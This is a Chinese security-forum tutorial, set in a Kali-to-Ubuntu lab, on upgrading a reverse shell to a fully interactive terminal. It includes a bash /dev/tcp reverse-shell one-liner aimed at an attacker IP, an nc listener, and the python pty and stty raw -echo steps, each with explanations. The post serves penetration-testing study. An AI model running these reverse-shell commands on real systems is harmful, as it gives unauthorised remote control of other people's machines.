用户
搜索
  • TA的每日心情

    2018-8-18 10:11
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    版主

    Rank: 7Rank: 7Rank: 7

    10

    主题

    22

    帖子

    254

    魔法币
    收听
    0
    粉丝
    7
    注册时间
    2018-7-24

    i春秋认证积极活跃奖核心白帽

    发表于 2019-12-3 21:22:55 03003


    前言

    看hack the box的视频的时候,发现ippsec不喜欢用蚁剑,喜欢弹个shell回来。

    然后一顿操作把一个简单的shell就升级到了一个标准交互式shell

    具体是怎么实现的呢,写这篇文章记录一下

    正文

    攻击机:kali

    靶机:ubuntu

    首先ubuntu建一个新用户:test,密码 test

    普通Shell

    给kali弹shell

    
    bash -i >& /dev/tcp/192.168.145.128/4444 0>&1 
    

    kali

    
    nc -lvvp 4444
    

    然后发现这个shell有很多问题

    • 无法使用vim等文本编辑器

    • 不能补全

    • 不能su

    • 没有向上箭头使用历史

    等等

    image

    半交互式Shell

    对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:

    
    python -c 'import pty; pty.spawn("/bin/bash")' 
    

    在创建完成后,我们此时就可以运行su命令了

    image

    但是还是存在很多问题

    • 无法使用vim等文本编辑器

    • 不能补全

    • 没有向上箭头使用历史

    完全交互式Shell

    命令:

    
    $ python -c 'import pty; pty.spawn("/bin/bash")'
    
    Ctrl-Z
    
    $ stty raw -echo
    
    $ fg
    
    $ reset
    
    $ export SHELL=bash
    
    //$ export TERM=xterm-256color
    

    image

    image

    此时已经拥有了一个完全交互式Shell,就可以使用上下左右,vi,tab补全等等一系列操作,并且按Ctrl-c也不会退出。

    image

    相关命令解析

    
    stty -echo #禁止回显,当在键盘上输入时,并不出现在屏幕上
    
    stty echo #打开回显
    
    stty raw #设置原始输入
    
    stty -raw #关闭原始输入
    
    bg
    
    将一个在后台暂停的命令,变成继续执行
    
    fg
    
    将后台中的命令调至前台继续运行
    
    jobs
    
    查看当前有多少在后台运行的命令
    
    ctrl + z
    
    可以将一个正在前台执行的命令放到后台,并且暂停
    
    clear
    
    这个命令将会刷新屏幕,本质上只是让终端显示页向后翻了一页,如果向上滚动屏幕还可以看到之前的操作信息。
    
    reset
    
    这个命令将完全刷新终端屏幕,之前的终端输入操作信息将都会被清空
    

    参考链接

    https://www.freebuf.com/news/142195.html

    欢迎加入知识星球:https://yzddmr6.tk/zsxq/
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册